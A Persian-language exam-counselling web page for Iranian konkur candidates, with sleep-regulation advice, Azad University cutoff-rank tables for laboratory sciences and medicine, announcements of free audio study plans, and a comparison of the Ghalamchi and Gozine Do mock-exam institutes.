تنظیم ساعت خواب

درفصل بهار اکثر دانش اموزان بامشکل خواب روبرو هستند 

تنظیم ساعت خواب یکی از مهمترین راهکارهای درست برای مشکل پرخوابی زیاد و خواب الودگی درطول روز و مطالعه بوده که به این طریق شما میتوانید مشکلات خواب الودگی روزانه بخصوص خواب زیاد درطول روز را تنظیم کنید

ازقدیم گفتند که بهارو خوابش!!   این مثل از ان جهت گفته شده که باطولانی بودن روز بعداز  کار صبحگاهی یک  وعده خواب روزانه در تایم ظهر بعد از صرف نهار میتواند انرژی مضاعفی برای ادامه فعالیت روزانه به انسان بدهد.

اما باید درنظر داشت که این خواب همیشه هست

شما سال های گذشته هم درطول شبانه روز میخوابیدید.وسالهای انده نیز همینگونه ست اما تنها چیزی که دیگر باقی نمیماند کنکور و درس شماست.

همین الان به شش ماه گذشته مطالعاتی خود دقت کنید اگر روزی یک ساعت بیشتر و مفید تر مطالعه میکردید الان وضعیت حاضر که نارضایتی مطالعاتی و عدم تسلط کافی  جامع روی مباحث را نداشتید 

این مشکل عمده ایست که اکثرشماها دارید درطول روز درس را میخوانید اما مطالعه نمیکنید بین خواندن و مطالعه کردن تفاوت وجود دارد خواندن Read در انگلیسی نامیده میشود اما مطالعه کردن را study  می گویند. اما مطالب روزنامه را میخوانیم اما مطالعه جهت یادگیری نمیکنیم. درعوض مطالب کتاب درسی را مطالعه میکنیم که حاصل ان به یادگیری بیانجامد.

 

فایل صوتی زیر یک پروسه ۱۰-۲۱ روزست که نحوه ی تنظیم مشکل خواب زیاد و خواب الودگی را برایتان حل میکند.

جهت دانلود فایل اموزشی کلیک کنید.

فایل صوتی اتمام حجت

سلام دانش اموزان عزیز

بارها و بارها در طی روزهای گذشته بالغ بر ۱۲۰۰ پیام دریافت کردم که دایم از من سوال میشد:

اقای محمدی ایا میشه؟من ازالان بخونم قبول میشم؟

من ترازم ۴۲۰۰ هستش میتونم خودمو بالا بکشم؟

هنوز  همه ی درسهارو مطالعه نکردم میتونم تمامی مطالب بخونم و به ۶۰درصد بزنم؟

درهمین راستا فایل صوتی مشاوره ای (البته کمی باروحیات سخت)براتون تهیه کردیم و درقالب یک فایل صوتی به سوالاتتون کامل و جامع پاسخ دادم.

 

هشدار :کسانی که مشکل قلبی دارن این فایل گوش ندن.

 

۹۶/۱/۳۱

جهت دانلود فایل صوتی کلیک کنید.

 

 

ارشیو فایل صوتی اتمام حجت سال گذشته بهمراه برنامه ریزی

فروردین ۹۵

آخرین رتبه قبولی رشته علوم آزمایشگاهی دانشگاه آزاد

 آخرین رتبه قبولی رشته علوم آزمایشگاهی دانشگاه آزاد در کنکور ۹۵ – ۹۶ با سهمیه عادی ۶۷۶۴۶ کشوری بوده است 
رتبه آخرین نفر قبولی علوم آزمایشگاهی دانشگاه آزاد در کنکور ۹۵ – ۹۶
رشته علوم آزمایشگاهی
نام دانشگاه رتبه کشوری آخرین نفر قبولی رتبه در منطقه یک آخرین نفر قبولی رتبه در منطقه دو آخرین نفر قبولی رتبه در منطقه سه آخرین نفر قبولی
واحد اراک ۴۳۵۴۷ ۱۱۷۴۲ ۱۹۹۲۵ ۱۱۰۶۹
واحد اردبیل ۴۹۰۶۶ ۱۲۹۹۱ ۲۲۳۲۲ ۱۲۸۰۳
واحد الیگودرز ۶۲۵۵۶ ۱۵۸۹۹ ۲۸۰۷۵ ۱۷۲۴۵
 واحد بابل ۴۳۸۴۵ ۱۱۸۱۱ ۲۰۰۵۵ ۱۱۱۶۱
 واحد بروجرد ۵۴۲۵۸ ۱۴۱۳۳ ۲۴۵۵۲ ۱۴۴۷۸
 واحد پزشکی تهران ۲۰۱۹۴ ۵۹۵۵ ۹۴۷۴ ۴۴۳۸
 واحد چالوس ۴۴۵۸۰ ۱۱۹۷۹ ۲۰۳۷۵ ۱۱۳۸۹
واحد زاهدان ۶۷۶۴۶ ۱۶۹۵۲ ۳۰۲۱۶ ۱۸۹۹۶
 واحد ساری ۳۷۲۷۹ ۱۰۲۷۵ ۱۷۱۶۸ ۹۱۶۴
واحد شاهرود ۴۹۵۳۷ ۱۳۰۹۶ ۲۲۵۲۵ ۱۲۹۵۳
 واحد قم ۳۶۱۳۵ ۱۰۰۰۱ ۱۶۶۶۱ ۸۸۲۵
 واحد کازرون ۴۰۸۵۴ ۱۱۱۱۹ ۱۸۷۴۵ ۱۰۲۴۱
واحد کرمانشاه ۴۵۰۸۵ ۱۲۰۹۴ ۲۰۵۹۶ ۱۱۵۴۷
 واحد گرگان ۴۸۲۷۸ ۱۲۸۱۵ ۲۱۹۸۱ ۱۲۵۵۲
واحد لاهیجان ۴۷۰۰۹ ۱۲۵۳۰ ۲۱۴۳۲ ۱۲۱۵۱
 واحد مرند ۵۰۵۲۷ ۱۳۳۵۱ ۲۲۹۵۱ ۱۳۲۷۰
واحد مشهد ۲۴۵۰۳ ۷۰۹۴ ۱۱۴۳۹ ۵۵۵۵

 

رتبه آخرین نفر قبولی علوم آزمایشگاهی ظرفیت مازاد دانشگاه آزاد در کنکور ۹۵ – ۹۶
رشته علوم آزمایشگاهی
نام دانشگاه رتبه کشوری آخرین نفر قبولی رتبه در منطقه یک آخرین نفر قبولی رتبه در منطقه دو آخرین نفر قبولی رتبه در منطقه سه آخرین نفر قبولی
 واحد اراک – ظرفیت مازاد خودگردان ۵۹۰۴۷ ۱۵۱۶۰ ۲۶۵۹۱ ۱۶۰۶۱
واحد بابل – ظرفیت مازاد خودگردان ۶۴۰۹۴ ۱۶۲۲۰ ۲۸۷۲۳ ۱۷۷۷۰
واحد بروجرد – ظرفیت مازاد خودگردان ۸۱۱۲۶ ۱۹۶۴۷ ۳۵۸۳۷ ۲۳۷۹۷
 واحد پزشکی تهران – ظرفیت مازاد خودگردان ۲۹۳۴۳ ۸۳۳۲ ۱۳۶۲۶ ۶۸۷۳
واحد تبریز- ظرفیت مازاد خودگردان ۵۰۳۰۵ ۱۳۲۶۶ ۲۲۸۵۶ ۱۳۱۹۹
واحد چالوس – ظرفیت مازاد خودگردان ۶۶۰۵۹ ۱۶۶۲۶ ۲۹۵۵۰ ۱۸۴۴۶
واحد زاهدان – ظرفیت مازاد خودگردان ۷۹۹۸۰ ۱۹۴۲۲ ۳۵۳۶۱ ۲۳۳۸۲
واحد ساری – ظرفیت مازاد خودگردان ۵۹۲۵۷ ۱۵۲۰۵ ۲۶۶۸۰ ۱۶۱۳۲
 واحد شاهرود – ظرفیت مازاد خودگردان ۵۵۳۶۶ ۱۴۳۷۲ ۲۵۰۲۵ ۱۴۸۴۱
واحد قم – ظرفیت مازاد خودگردان ۳۷۹۵۰ ۱۰۴۳۵ ۱۷۴۶۵ ۹۳۶۴
 واحد کرمانشاه – ظرفیت مازاد خودگردان ۵۴۹۶۸ ۱۴۲۸۶ ۲۴۸۵۵ ۱۴۷۱۱
واحد گرگان – ظرفیت مازاد خودگردان ۶۷۶۰۱ ۱۶۹۴۳ ۳۰۱۹۷ ۱۸۹۸۰
 واحد مرند – ظرفیت مازاد خودگردان ۵۸۷۹۶ ۱۵۱۰۷ ۲۶۴۸۵ ۱۵۹۷۸
واحد مشهد – ظرفیت مازاد خودگردان ۳۱۴۰۲ ۸۸۴۶ ۱۴۵۵۱ ۷۴۵۳
 آخرین رتبه قبولی رشته علوم آزمایشگاهی ظرفیت مازاد دانشگاه آزاد در کنکور ۹۵ – ۹۶ با سهمیه عادی ۸۱۱۲۶ کشوری بوده است 

اخرین رتبه قبولی پزشکی

آخرین رتبه قبولی رشته پزشکی دانشگاه آزاد در کنکور ۹۵ – ۹۶ با سهمیه عادی ۹۵۵۶ کشوری بوده است 
 
رتبه آخرین نفر قبولی پزشکی دانشگاه آزاد در کنکور ۹۵ – ۹۶
رشته پزشکی – دکتری عمومی
نام دانشگاه رتبه کشوری آخرین نفر قبولی رتبه در منطقه یک آخرین نفر قبولی رتبه در منطقه دو آخرین نفر قبولی رتبه در منطقه سه آخرین نفر قبولی
 واحد پزشکی تهران ۴۴۳۳ ۱۴۴۱ ۲۱۲۶ ۷۵۱
 واحد تبریز ۴۷۶۴ ۱۵۴۲ ۲۲۸۴ ۸۱۹
واحد ساری ۴۸۸۷ ۱۵۷۹ ۲۳۴۲ ۸۴۵
واحد مشهد ۵۱۲۸ ۱۶۵۳ ۲۴۵۷ ۸۹۵
واحد نجف آباد ۵۴۲۱ ۱۷۴۲ ۲۵۹۶ ۹۵۶
واحد اردبیل ۵۷۱۶ ۱۸۳۱ ۲۷۳۶ ۱۰۴۹
 واحد یزد ۵۷۲۴ ۱۸۳۳ ۲۷۴۰ ۱۰۵۱
واحد قم ۵۹۰۸ ۱۸۸۹ ۲۸۲۷ ۱۰۹۱
واحد شاهرود ۵۹۹۴ ۱۹۱۴ ۲۸۶۷ ۱۱۱۰
 واحد کرمان ۶۰۲۸ ۱۹۲۵ ۲۸۸۴ ۱۱۱۷
واحد پزشکی تهران-پردیس خودگردان کیش ۹۵۵۶ ۲۹۷۳ ۴۵۴۷ ۱۹۰۲

رتبه آخرین نفر قبولی پزشکی ظرفیت مازاد دانشگاه آزاد در کنکور ۹۵ – ۹۶
رشته پزشکی – دکتری عمومی
نام دانشگاه رتبه کشوری آخرین نفر قبولی رتبه در منطقه یک آخرین نفر قبولی رتبه در منطقه دو آخرین نفر قبولی رتبه در منطقه سه آخرین نفر قبولی
 واحد تبریز – ظرفیت مازاد خودگردان ۶۶۷۶ ۲۱۲۰ ۳۱۹۰ ۱۲۶۰
 واحد پزشکی تهران – ظرفیت مازاد خودگردان ۶۷۱۵ ۲۱۳۱ ۳۲۰۹ ۱۲۶۸
واحد ساری – ظرفیت مازاد خودگردان ۴۸۸۷ ۱۵۷۹ ۲۳۴۲ ۸۴۵
واحد مشهد – ظرفیت مازاد خودگردان ۷۰۹۰ ۲۲۴۴ ۳۳۸۶ ۱۳۵۱
واحد نجف آباد – ظرفیت مازاد خودگردان ۶۸۳۱ ۲۱۶۶ ۳۲۶۴ ۱۲۹۴
واحد اردبیل – ظرفیت مازاد خودگردان ۷۱۰۰ ۲۲۴۷ ۳۳۹۱ ۱۳۵۳
 واحد یزد –  ظرفیت مازاد خودگردان ۷۰۶۰ ۲۲۳۵ ۳۳۷۲ ۱۳۴۴
واحد قم –  ظرفیت مازاد خودگردان ۷۱۷۲ ۲۲۶۸ ۳۴۲۵ ۱۳۶۹
واحد شاهرود –  ظرفیت مازاد خودگردان ۹۳۸۹ ۲۳۳۳ ۳۵۲۷ ۱۴۱۷
 واحد کرمان –  ظرفیت مازاد خودگردان ۷۶۱۳ ۲۳۹۹ ۳۶۳۳ ۱۴۶۷
 
 آخرین رتبه قبولی رشته پزشکی ظرفیت مازاد دانشگاه آزاد در کنکور ۹۵ – ۹۶ با سهمیه عادی ۹۳۸۹ کشوری بوده است 

برنامه ریزی رایگان ازمون قلمچی

به نام ناظم بهترین نظم ها

سلام وقت بخیر به تمامی داوطالبان کنکور ۹۷

براساس روال همیشگی اکادمی مشاوره برنامه صد بعد از هر ازمون برنامه ریزی رایگان ویژه ازمون بعدی بصورت فایل صوتی دراختیار شما قرار خواهد گرفت.

**از دلایل اینکه این برنامه ریزی ها بصورت فایل صوتی تهیه میشود اینست که با توجه به بودجه بندی هر ازمون میتوان توضیحاتی درخصوص برنامه ریزی و نکات مشاوره ای در ذیل برنامه ریزی با توضیحات کامل در اختیار شما قرار بگیرد.

وهمچنین در این فایل ها استاد محمدی باتوجه به بودجه بندی های مخصوص هر درشته توصیه ها و سفارش ها و نکات تحصیلی/اموزشی./ومشاوره ای و انگیزشی نیز برای دانش اموزان خواهند داشت.

همواره درنظر داشته باشید که این انتقاد وارد است که نمیتوان یک برنامه و نسخه را برای همه تجویز کرد اما لازم بذکرست که این فایل ها و برنامه ها همانطور که در تمامی فایل ها در طول این سال ها گفته میشود بصورت کاملا پیشنهادی بوده که باتوجه به نکات و توضیحات ارایه شده دانش اموزان باید انهارا باتوجه به تایم کلاسها و برنامه های خود شخصی سازی کنند.

و از مزایای این برنامه ریزی نسبت به برنامه ریزی های کاغذای پیشنهادی توسط برخی موسسات و افراد مشاور نماو سودجو اینست که اولا این برنامه ها تا خوده کنکور کاملا رایگان بوده و ثانیا انعطاف پذید بوده که دانش اموز میتواند انرا برای خود شخصی سازی کند

و ثالثا اینکه دانش اموز میتواند بعد از گذشت چند ازمون نکات و الگوی های یک برنامه ریزی شخصی را برای خود اجرا و پیاده سازی کند.

پس در اینجا لازم است که مجددا چند نکته زیر تکرار شود.

۱:این برنامه ریزی هایی که ما ارایه میدم برای هرازمون بصورت پیشنهادی هستش

و به این معنا نیست که یه برنامه ی کیلویی و کلی به همه دادیم نه!بارها وبارها در فایل ها گفتیم که بصورت پیشنهادی هستش و ازاونحایی که خاصیت یه برنامه ریزی خوی اینه که منطعف باشه و بشه باتوجه به شرایط هرفرد شخصی سازی بشه این برنامه رو شما ها میتونید دانلود کنید و باتوجه به تایم کلاسها خصوصی که دارید و یا برنامه ی امتحان های مدرسه تون اونو شخصی کرده و مرتب کنید.

۲:برنامه ریزی های ارایه شده بصورت فایل های صوتی هستش.خیلی ها تماس میگیرن و میگن اقای محمدی ما برنامه ریزی ندیدیم فقط فایل صوتی بود.

این یکی دیگه از وجه تمایز برنامه ریزی های ما درقیاس بابرنامه های خط کشی شده و جدول بندی دیگران هستش!که ما بهمراه ارایه برنامه ریزی مشاوره صوتی هم برای هردرس در خصوص اون ازمون بشما خواهیم داد.

بعبارتی درهرفایل صوتی علاوه براینکه برنامه ریزی هایی ارایه میشه کمه میتونید باکاغذو قلم یادداشت برداریشون کنید مشاوره ویژه اون ازمون و نکته هایی که دراون ازمون ها و اون دروس لازمه بدونید بهتون ارایه میشه.

۳: ازمون های سنجش و گاج بدلیل جامعه آماری پایینی که مخاطبین سایت دارن ارایه نمیشه.

۴:رشته انسانی بدلیل جامعه آماری پایینی که دارن برنامه ریزی درس هاشون درهرفایل صوتی بصورت ارایه چند راهکار خاص چگونگی برنامه ریزی درفواصل دو-سه هفته ازمون درفایل صوتی  ارایه خواهد شد.

۵:دوباره تکرار میکنم این برنامه ریزی برای اون دسته از دانش اموزانی هستش که دسترسی به مشاور در مناطق محروم ندارن اما میخوان به کیفیت یه برنامه ریزی خوب توسط یه مشور حرفه ای و خوب و راه شناس دسترسی داشته باشن.

چنانچه تمایل به داشتن برنامه ریزی شخصی هماهنگ و متناسب با کلاسها و ازمونتون داشته باشید و همچنین روش های خواندن هردرس خلاصه نویسی و مرور هردرس تکنیک ها تست زنی و مشکل دفع کند خوانی یادبگیرید از یه مشاور شخصی استفاده کنید.

نمیگم منه محمدی نه!برید تو شهر خودتون مشاور خوب ببینید هست ازاون استفاده کنید توشهرتون نشد تو مرکز استانتون دیگه اگر نبود مشاوره های تلفنی بگیرید من گزینه اخرتون باشم که اگر کسیو پیدا نکردید با من بخواید کارکنید.


 

برنامه ریزی رایگان ازمون های قلمچی

برنامه ریزی ازمون ۲۰ مرداد

برنامه ریزی ازمون ۶مرداد

برنامه ریزی رایگان ازمون گزینه دو

به نام ناظم بهترین نظم ها

سلام وقت بخیر به تمامی داوطالبان کنکور ۹۷

براساس روال همیشگی اکادمی مشاوره برنامه صد بعد از هر ازمون برنامه ریزی رایگان ویژه ازمون بعدی بصورت فایل صوتی دراختیار شما قرار خواهد گرفت.

**از دلایل اینکه این برنامه ریزی ها بصورت فایل صوتی تهیه میشود اینست که با توجه به بودجه بندی هر ازمون میتوان توضیحاتی درخصوص برنامه ریزی و نکات مشاوره ای در ذیل برنامه ریزی با توضیحات کامل در اختیار شما قرار بگیرد.

وهمچنین در این فایل ها استاد محمدی باتوجه به بودجه بندی های مخصوص هر درشته توصیه ها و سفارش ها و نکات تحصیلی/اموزشی./ومشاوره ای و انگیزشی نیز برای دانش اموزان خواهند داشت.

همواره درنظر داشته باشید که این انتقاد وارد است که نمیتوان یک برنامه و نسخه را برای همه تجویز کرد اما لازم بذکرست که این فایل ها و برنامه ها همانطور که در تمامی فایل ها در طول این سال ها گفته میشود بصورت کاملا پیشنهادی بوده که باتوجه به نکات و توضیحات ارایه شده دانش اموزان باید انهارا باتوجه به تایم کلاسها و برنامه های خود شخصی سازی کنند.

و از مزایای این برنامه ریزی نسبت به برنامه ریزی های کاغذای پیشنهادی توسط برخی موسسات و افراد مشاور نماو سودجو اینست که اولا این برنامه ها تا خوده کنکور کاملا رایگان بوده و ثانیا انعطاف پذید بوده که دانش اموز میتواند انرا برای خود شخصی سازی کند

و ثالثا اینکه دانش اموز میتواند بعد از گذشت چند ازمون نکات و الگوی های یک برنامه ریزی شخصی را برای خود اجرا و پیاده سازی کند.

پس در اینجا لازم است که مجددا چند نکته زیر تکرار شود.

۱:این برنامه ریزی هایی که ما ارایه میدم برای هرازمون بصورت پیشنهادی هستش

و به این معنا نیست که یه برنامه ی کیلویی و کلی به همه دادیم نه!بارها وبارها در فایل ها گفتیم که بصورت پیشنهادی هستش و ازاونحایی که خاصیت یه برنامه ریزی خوی اینه که منطعف باشه و بشه باتوجه به شرایط هرفرد شخصی سازی بشه این برنامه رو شما ها میتونید دانلود کنید و باتوجه به تایم کلاسها خصوصی که دارید و یا برنامه ی امتحان های مدرسه تون اونو شخصی کرده و مرتب کنید.

۲:برنامه ریزی های ارایه شده بصورت فایل های صوتی هستش.خیلی ها تماس میگیرن و میگن اقای محمدی ما برنامه ریزی ندیدیم فقط فایل صوتی بود.

این یکی دیگه از وجه تمایز برنامه ریزی های ما درقیاس بابرنامه های خط کشی شده و جدول بندی دیگران هستش!که ما بهمراه ارایه برنامه ریزی مشاوره صوتی هم برای هردرس در خصوص اون ازمون بشما خواهیم داد.

بعبارتی درهرفایل صوتی علاوه براینکه برنامه ریزی هایی ارایه میشه کمه میتونید باکاغذو قلم یادداشت برداریشون کنید مشاوره ویژه اون ازمون و نکته هایی که دراون ازمون ها و اون دروس لازمه بدونید بهتون ارایه میشه.

۳: ازمون های سنجش و گاج بدلیل جامعه آماری پایینی که مخاطبین سایت دارن ارایه نمیشه.

۴:رشته انسانی بدلیل جامعه آماری پایینی که دارن برنامه ریزی درس هاشون درهرفایل صوتی بصورت ارایه چند راهکار خاص چگونگی برنامه ریزی درفواصل دو-سه هفته ازمون درفایل صوتی  ارایه خواهد شد.

۵:دوباره تکرار میکنم این برنامه ریزی برای اون دسته از دانش اموزانی هستش که دسترسی به مشاور در مناطق محروم ندارن اما میخوان به کیفیت یه برنامه ریزی خوب توسط یه مشور حرفه ای و خوب و راه شناس دسترسی داشته باشن.

چنانچه تمایل به داشتن برنامه ریزی شخصی هماهنگ و متناسب با کلاسها و ازمونتون داشته باشید و همچنین روش های خواندن هردرس خلاصه نویسی و مرور هردرس تکنیک ها تست زنی و مشکل دفع کند خوانی یادبگیرید از یه مشاور شخصی استفاده کنید.

نمیگم منه محمدی نه!برید تو شهر خودتون مشاور خوب ببینید هست ازاون استفاده کنید توشهرتون نشد تو مرکز استانتون دیگه اگر نبود مشاوره های تلفنی بگیرید من گزینه اخرتون باشم که اگر کسیو پیدا نکردید با من بخواید کارکنید.


برنامه ریزی رایگان ازمون های گام اول (تابستان ۹۶) گزینه دو

برنامه ریزی ازمون ۲۰ مرداد

برنامه ریزی ازمون ۶ مرداد

برنامه ریزی ازمون ۲۳ تیر

برنامه ریزی رایگان ازمون ها

 سلام خداقوت ویژه به شما کنکوری های عزیز

بنا به رسم هرساله آکادمی مشاوره برنامه ۱۰۰ امسال هم با فایل های صوتی برنامه ریزی رایگان ویژه ازمون های قلم چی و گزینه دو درخدمتتون هستیم.

 

چند نکته مهم درخصوص این برنامه ریزی ها باید بگم بهتون:

۱:این برنامه ریزی هایی که ما ارایه میدم برای هرازمون بصورت پیشنهادی هستش

و به این معنا نیست که یه برنامه ی کیلویی و کلی به همه دادیم نه!بارها وبارها در فایل ها گفتیم که بصورت پیشنهادی هستش و ازاونحایی که خاصیت یه برنامه ریزی خوی اینه که منطعف باشه و بشه باتوجه به شرایط هرفرد شخصی سازی بشه این برنامه رو شما ها میتونید دانلود کنید و باتوجه به تایم کلاسها خصوصی که دارید و یا برنامه ی امتحان های مدرسه تون اونو شخصی کرده و مرتب کنید.

۲:برنامه ریزی های ارایه شده بصورت فایل های صوتی هستش.خیلی ها تماس میگیرن و میگن اقای محمدی ما برنامه ریزی ندیدیم فقط فایل صوتی بود.

این یکی دیگه از وجه تمایز برنامه ریزی های ما درقیاس بابرنامه های خط کشی شده و جدول بندی دیگران هستش!که ما بهمراه ارایه برنامه ریزی مشاوره صوتی هم برای هردرس در خصوص اون ازمون بشما خواهیم داد.

بعبارتی درهرفایل صوتی علاوه براینکه برنامه ریزی هایی ارایه میشه کمه میتونید باکاغذو قلم یادداشت برداریشون کنید مشاوره ویژه اون ازمون و نکته هایی که دراون ازمون ها و اون دروس لازمه بدونید بهتون ارایه میشه.

۳: ازمون های سنجش و گاج بدلیل جامعه آماری پایینی که مخاطبین سایت دارن ارایه نمیشه.

۴:رشته انسانی بدلیل جامعه آماری پایینی که دارن برنامه ریزی درس هاشون درهرفایل صوتی بصورت ارایه چند راهکار خاص چگونگی برنامه ریزی درفواصل دو-سه هفته ازمون درفایل صوتی  ارایه خواهد شد.

۵:دوباره تکرار میکنم این برنامه ریزی برای اون دسته از دانش اموزانی هستش که دسترسی به مشاور در مناطق محروم ندارن اما میخوان به کیفیت یه برنامه ریزی خوب توسط یه مشور حرفه ای و خوب و راه شناس دسترسی داشته باشن.

چنانچه تمایل به داشتن برنامه ریزی شخصی هماهنگ و متناسب با کلاسها و ازمونتون داشته باشید و همچنین روش های خواندن هردرس خلاصه نویسی و مرور هردرس تکنیک ها تست زنی و مشکل دفع کند خوانی یادبگیرید از یه مشاور شخصی استفاده کنید.

نمیگم منه محمدی نه!برید تو شهر خودتون مشاور خوب ببینید هست ازاون استفاده کنید توشهرتون نشد تو مرکز استانتون دیگه اگر نبود مشاوره های تلفنی بگیرید من گزینه اخرتون باشم که اگر کسیو پیدا نکردید با من بخواید کارکنید.

 

 

 

 

صفحه ی ویژه ازمون های تابستان ۹۶ گزینه دو 

صفحه ی ویژه ی ازمون های تابستان ۹۶ قلم چی

کدام موسسه بهترست؟قلمچی یا گزینه دو!

بنام خدا

سلام خدمت شما دوستان عزیز کنکوری سال چهارمی ها و داوطلبان فارغ التحصیل

باتوجه به شروع تابستان (وشروع سال تحصیلی درمهرماه)در سطح شهر و تلویزیون پر میشه از تبلیغات جنجال برانگیز موسسات کنکوری مختلف که به کانون بیایید/گام اول گزینه دوباشید/و باسنجش خودتونو سنجش کنیدواینحرفها

تبلیغات دیوانه کننده موسسات تماس های مکرر از موسسات مختلف و پیشنهادهای وسوسه انگیز مبنی براینکه بامااگر باشی ماشمارو موفق میکنیم برتر میکنیمو اینحرفها.اما واقعیت چیه؟ و کدوم یکی بهترن؟

 

 

قصدداریم دراین مقاله درباره ی کیفیت آموزشی

برنامه ی ریزی آزمون ها و بودجه بندی هرآزمون

کیفیت سوالات آزمون ها

خدمات آموزشی مکمل

قیمت و هزینه آزمون و خدمات آموزشی

هرکدوم ازموسسات را بررسی ومقایسه و صحبت کنیم.

______________________________________________________________________________________________________

برنامه ریزی

برنامه راهبری کانون قلمچی

بطور کلی برنامه ریزی ازمونهای قلمچی هردوهفته یکبار برگزار میشه که درقالب پروژه های مختلف تابستان و ۸ پروژه درطول سال تحصیلی برگزار میکنه.

برنامه ریزی کانون درطول تابستان اینجوریه که سال سوم باید بصورت اجباری پاسخ بدید و سال دومو چهارمو هم بصورت اختیاری  میتونید انتخاب کرده و پاسخ بدید.متاسفانه ایرادی که به بودجه بندی قلمچی وارد هستش سنگین بودن حجم مباحث بین دوهفته هستش.((بخصوص درطول تابستان))و انتظار دارند که دانش اموز درسهایی که در دوسال (دوم و سوم) خوانده بصورت فشرده در سه ماه مفهومی ترکیبی و کنکور بخوانند که خب باتوجه به اینکه سطح تمامی دانش اموزا یکی نیستش و اکثردانش اموزان از پایه قوی در سال دوم و سوم برخوردار نیستند و بخصوص در درسهای سال دوم مشکل داشته و ضعیف هستند نمیتونند در مدت دوهفته این حجم عظیم مطالب را باهم بخوانند. بطور مثال:

۵۰ صفحه زیست شناسی سوم و ۵۰ صفحه زیست دوم و بهمراه ۵۰صفحه فیزیک  سوم و ۳۰ صفحه فیزیک دوم-۲۰ صفحه شیمی سوم و ۳۰ صفحه شیمی دوم-۶۰ صفحه آمار ۲۰ صفحه ریاضی سوم ۴۰ صفحه هندسه و ۲۵ صفحه ریاضی دوم این حجم از مطالب تخصصی حالا عمومی ها دیگه به کنار!

دانش اموز باید همه ی این مطالبو در طول دوهفته  هم تشریحی بخونه آموزشی یاد بگیره تست بزنه دوره کنه تا بتونه ازپس ازمون بربیاد.

درطول ازمون حدود ۶ تا ازمون برگزار میشه هردوهفته یکبار و از ۲۱مهرماه هم حدود ۱۹-۲۰ آزمون برگزار میکنه

برنامه راهبردی کانون از مهرماه ببعد برای دانش اموزان خب سبکتر و بهتره

درطول سال درسهای سال سون باسرعت خیلی اروم پیش میره و و هرکدوم از درسهای سال دوم و سوم در یک ترم تموم میکنه که این برنامه قابل اجرا تره نسبت به تابستون

توصیه ی من بشخصه اینه که از مهرماه ببعد این برنامه راهبری برای فارغ التحصیلها خیلی میتونه مفیدو خوب باشه و اگر پایبند به برنامه باشند میتونند تراز و درصد خوبی توی ازمون ها بدست بیارند

همچنین دانش اموزان سال چهارمی نیز چون دراکثر شهر ها مدارس درسهای سال چهارمش  نمیتونه باازمون هماهنگی داشته باشه

من توصیه میکنم به این ازمون ها به دید رتبه و تراز کنکور نگاه نکنند و صرفا معیاری برای سنجیدن اون چیزی که درطول هردوهفته میخونند استفاده کنند وبااین برنامه میتونند درسهای سال چهارمو خودشون بخونند و درسهای پایه دوم و سوم خیلی راحت طبق این برنامه درطول سال جمع بندی کنند.

بودجه بندی آزمون گزینه دو

آزمون گزینه دو به رسم هرساله درقالب دو طرح برای داوطلبان کنکور برنامه ی آزموهای خودشو قرار میده.درطول تابستان با طرح گام اول و طرح دوم ازمونهای سال تحصیلی!

درطول تابستان با ۵ مرحله آزمون حضوری از اواخر تیر تا اخر شهریور را هردوهفته یکبار باتمرکز برروی درسهای پایه دوم و سوم برگزار میکند

تناسب برنامه ریزی حجم بودجه بندی ازمون گزینه دو درطول تابستان همون سطح قلم چی هستش ولی خب به عقیده ی بچه ها گزینه دو برنامه اش سبکتره  نسبت به قلمچی!

درطول تابستون برای کسایی که پایه ی ضعیفی دارن چون گزینه دو بصورت تخصصی تمرکزش روی ۶۰ درصد مطالب که پایه دوم و سوم هستش گذاشته میتونه فرصت خوبی باشه که بتونند تاقبل از شروع سال چهارم تمرکزشونو روی پایه بذارن و نواقصشونو برطرف کنند

درطول سال تحصیلی چهارم هم به رسم سالیان گذشته در قالب ۱۲ مرحله ازمون بطور متوسط هر سه الی چهار هفته یکبار ازمون برگزار میکنه که

بودجه بندی ازمونش به نسبت سه هفته خیلی متناسب هستش

بخصوص دانش اموزانی که سال چهارم هستند  و مدارسشون طبق بودجه بندی ازمون نمیتونند پیش برن این سیستم این ازمون براشون متناسبه

اما برای فارغ التحصیلها من بشخصه توصیه نمیکنم و همون قلمچی رو مناسب تر میدونم


کیفیت سوالات

بطور کلی آزمون “قلمچی” به سطح بالا سوالات و حتی گاهی اوقات سوالات غیراستاندارد معروف هستش.اما من بشخصه نظر دیگه ای دارم!

من معتقدم سوالای سختی که ازمون داره میتونه دانش اموزا رو برای سوالات سخت کنکور اماده کنه و درنهایت این سختی سوالات منجر به این بشه  که کنکور اسون بشه براشون

بطور مثال خیلی های میگن فرضا درطول ازمونهای مهر ببعد هر دوهفته میخواد از ۶-۵ صفحه کتاب ۲۰-۳۰ تا سوال طرخ کنه خب این غیراستاندارد هستش!اما من میگم این سوالات باعث میشه که دانش اموز ریز بشه تو مباحث و به نقاط بکر کتاب پی ببره

جالب اینجاست که ممکنه این سختی سوالات اکثردانش اموزهارو ناامید کنه اما من خودم معتقد هستم سختی و سطح بالا بودن درطول دراز مدت به نفع دانش اموزهستش.

کیفیت سوالاتگزینه دو “رو میشه گفت همسطح کنکوره تاحدودی

اما خب بعضی اوقات دربعضی ازجاها سوالات خیلی ساده ای طرح میشه که اسون بودن زیادشون باعث میشه دانش اموزا نتونند بصورت ناگهانی برای سوالات سخت اماده بشند

اما خب بطور کلی براساس عقیده ی خیلی از دبیران اگر روی همین سطح سوالات ازمون گزینه دو  بتونی تسلط پیداکنید و ازپسشون بربیاید کنکور هم میتونید درصد نسبی خوبی بدست بیارید


خدمات آموزشی مکمل

۱۴۰۹

کانون قلمچی

خدمات آموزشی مکملی مثل پشتیبان و کتابهای کمک اموزشی مختلف باخودش بهمراه داره دربحث پشتیبان نمیشه صحبتی کرد چون در اکثر جاهای کشور پشتیبان اموزشی سواد آموزشی و مشاوره ای خوبی نداره متاسفانه وصرفا فقط همون دوهفته بین ازمون تماس میگیره که درس خوندی یا نه همین

اماخب اگر پشتیبان سواد مشاوره ای خوبی بصورت جامع نداشته باشه و وصرفا هدفش تبلیغات و فروش کتابها بوده باشه زیاد مناسب و بدرد بخور نیست.

نظر شخصی من اینه که اگردانش اموزی میخاد کانون بره باید سعی کنه با خوده کتابای کانون کارکنه تابتونه توازمونها موفق بشه

کتابای آبی-سه سطحی-سبز-وپرتکرار جز کتابای خوبی هستند که اگر بخواید بابرنامه ریزی درست بخونینش براتون خیلی موثره

البته خدمات صفحه شخصی کانون بیشتر وبهتره اما خب متاسفانه بدلیل عدم اگاهی دانش اموزا ازش بهره نمیبرند

ازنظرمن اون خدمات خیلی ارزشمندن واقعا کلاسور ارزیابی کارنامه بازیابی وازمونک مبحثی اگر دانش اموزی بخصوص فارغ التحصیلها اگرمتعهد باشند خیلی میتونه کاربردی باشه براشون

